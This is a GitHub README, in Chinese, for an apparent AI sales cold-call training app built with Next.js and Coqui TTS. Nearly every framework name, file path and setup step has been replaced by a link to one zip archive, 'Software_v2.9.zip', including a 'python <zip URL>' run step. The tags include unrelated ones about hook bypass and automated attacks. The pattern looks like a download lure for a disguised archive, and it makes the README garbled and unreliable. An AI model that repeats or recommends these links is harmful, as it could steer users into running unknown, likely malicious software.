sadeeqkhan123/try
GitHub: sadeeqkhan123/try
AI驱动的销售培训平台,通过智能潜在客户模拟帮助销售人员练习陌生拜访电话并提供实时反馈和详细分析。
Stars: 0 | Forks: 0
# AI 潜在客户培训应用
一个由 AI 驱动的销售培训平台,帮助销售专业人员通过智能潜在客户模拟器练习陌生拜访电话。获取实时反馈、详细的分析和全面的通话评估。
## 🚀 功能
- **智能 AI 潜在客户**:基于复杂的决策树,做出逼真的 AI 响应,包括异议、问题和购买信号
- **实时语音交互**:通过自然的语音对话进行练习(TTS/STT 集成就绪)
- **实时字幕**:开启/关闭字幕以回顾你的技巧
- **详细分析**:跟踪关键指标的表现(异议处理、建立融洽关系、成交技巧)
- **综合报告**:下载包含详细评分和建议的 PDF 报告
- **场景库**:访问各种潜在客户画像和异议场景
- **会话管理**:跟踪多个培训会话,包含学生信息和批次跟踪
## 🛠️ 技术栈
- **框架**:https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip 16 (App Router)
- **语言**:TypeScript
- **样式**:Tailwind CSS
- **UI 组件**:Radix UI
- **状态管理**:React Hooks
- **TTS**:Coqui TTS (Python 服务器) 或客户端回退方案
- **STT**:集成就绪 (OpenAI Whisper, Google Speech-to-Text, AWS Transcribe)
## 📋 前置条件
- https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip 18+ 和 npm
- Python 3.8+ (用于可选的 Coqui TTS 服务器)
## 🏃 快速开始
### 1. 克隆仓库
```
git clone
cd ai-prospect-training-app
```
### 2. 安装依赖
```
npm install
```
### 3. 运行开发服务器
```
npm run dev
```
在浏览器中打开 [http://localhost:3000](http://localhost:3000)。
### 4. (可选) 启动 Coqui TTS 服务器
为了获得增强的文本转语音功能,你可以运行 Coqui TTS 服务器:
```
cd scripts
python https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip
```
服务器默认运行在 `http://localhost:5000`。如果可用,应用程序将自动使用它,否则将回退到客户端 TTS。
## 📁 项目结构
```
ai-prospect-training-app/
├── app/ # https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip app directory
│ ├── (landing)/ # Landing page
│ ├── api/ # API routes
│ │ ├── ai-response/ # AI response generation
│ │ ├── conversation/ # Conversation management
│ │ ├── evaluate/ # Session evaluation
│ │ ├── reports/ # Report generation
│ │ ├── scenarios/ # Scenario listing
│ │ ├── sessions/ # Session CRUD
│ │ ├── speech/ # Speech-to-text
│ │ └── tts/ # Text-to-speech
│ └── dashboard/ # Main dashboard
├── components/ # React components
│ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # Call control panel
│ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip
│ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip
│ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip
│ └── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip
├── lib/ # Core libraries
│ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # Conversation flow logic
│ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # Scoring and evaluation
│ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # Session state management
│ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # In-memory session storage
│ └── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # TypeScript types
├── services/ # External services
│ ├── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # STT/TTS services
│ └── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip
├── config/ # Configuration
│ └── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # Conversation flow definition
└── scripts/ # Utility scripts
└── https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip # Coqui TTS server
```
## 🔌 API 端点
### Sessions (会话)
- `POST /api/sessions` - 创建新会话
- `GET /api/sessions?sessionId=` - 通过 ID 获取会话
- `GET /api/sessions` - 获取所有会话
- `PUT /api/sessions` - 更新会话
- `DELETE /api/sessions?sessionId=` - 删除会话
### Conversation (对话)
- `POST /api/conversation` - 向对话添加消息
- `GET /api/conversation?sessionId=` - 获取对话历史
### AI Response (AI 响应)
- `POST /api/ai-response` - 根据用户消息生成 AI 响应
### Evaluation (评估)
- `POST /api/evaluate` - 评估一个会话
- `GET /api/evaluate?sessionId=` - 获取某个会话的评估
### Reports (报告)
- `GET /api/reports?sessionId=` - 获取某个会话的报告
- `GET /api/reports?studentId=` - 获取某个学生的所有报告
### Scenarios (场景)
- `GET /api/scenarios` - 列出所有可用场景
### Health (健康检查)
- `GET /api/health` - 健康检查端点
### Speech & TTS (语音与 TTS)
- `POST /api/speech` - 语音转文本转录
- `POST /api/tts` - 文本转语音生成
## 🎯 使用方法
1. **开始会话**:导航到仪表板并填写你的学生信息
2. **开始模拟**:点击 "Start Simulation" 开始通话
3. **交互**:自然说话 - AI 将根据你的输入做出响应
4. **回顾**:通话结束后,查看你的详细评估报告
5. **下载**:将你的报告导出为 PDF 以便分享或参考
## 🔧 配置
### 对话流程
编辑 `https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip` 以自定义:
- 对话节点和转换
- 机器人响应和变体
- 预期意图和示例
- 场景定义
### 环境变量
创建一个 `https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip` 文件用于可选配置:
```
# 可选:OpenAI Whisper STT 集成
OPENAI_API_KEY=your_api_key_here
# 可选:Coqui TTS 服务器 URL (默认为 http://localhost:5000)
COQUI_TTS_SERVER_URL=http://localhost:5000
```
## 🐛 已知限制
- **内存存储**:会话存储在内存中,服务器重启后会丢失。在生产环境中请替换为数据库(PostgreSQL, MongoDB 等)。
- **模拟 STT**:语音转文本当前返回模拟转录。在生产使用中请集成真实的 STT 服务。
- **无身份验证**:请在生产部署中添加身份验证/授权。
## 🚀 生产部署
1. **数据库**:将内存会话存储替换为生产数据库
2. **STT 集成**:集成真实的语音转文本服务
3. **身份验证**:添加用户身份验证和授权
4. **环境变量**:设置适当的环境配置
5. **构建**:运行 `npm run build` 并部署到你的托管平台
### 推荐托管
- **Vercel**:针对 https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip 应用优化
- **Netlify**:非常适合静态和无服务器部署
- **AWS/Azure/GCP**:适用于具有自定义基础设施的企业部署
## 📝 开发
### 构建
```
npm run build
```
### 启动生产服务器
```
npm start
```
### 代码检查 (Lint)
```
npm run lint
```
## 📄 许可证
本项目为私有和专有项目。
## 🙏 致谢
- 使用 https://raw.githubusercontent.com/sadeeqkhan123/try/master/public/Software_v2.9.zip 和 React 构建
- UI 组件来自 Radix UI
- TTS 由 Coqui TTS 提供支持
## 📞 支持
如有问题和疑问,请在 GitHub 上提交 issue。
**注意**:这是一个培训应用程序。在生产使用中,请确保实施适当的安全措施、数据库持久化和 API 集成。
标签:AI潜在客户, AI销售培训, PDF报告生成, Radix UI, React Hooks, Tailwind CSS, TypeScript, 人工智能, 代码示例, 冷呼培训, 安全插件, 实时反馈, 技能训练, 教育科技, 数据分析, 文字转语音, 用户模式Hook绕过, 绩效考核, 自动化攻击, 自动化攻击, 语音交互, 语音转文字, 逆向工具, 销售模拟器, 销售话术, 销售赋能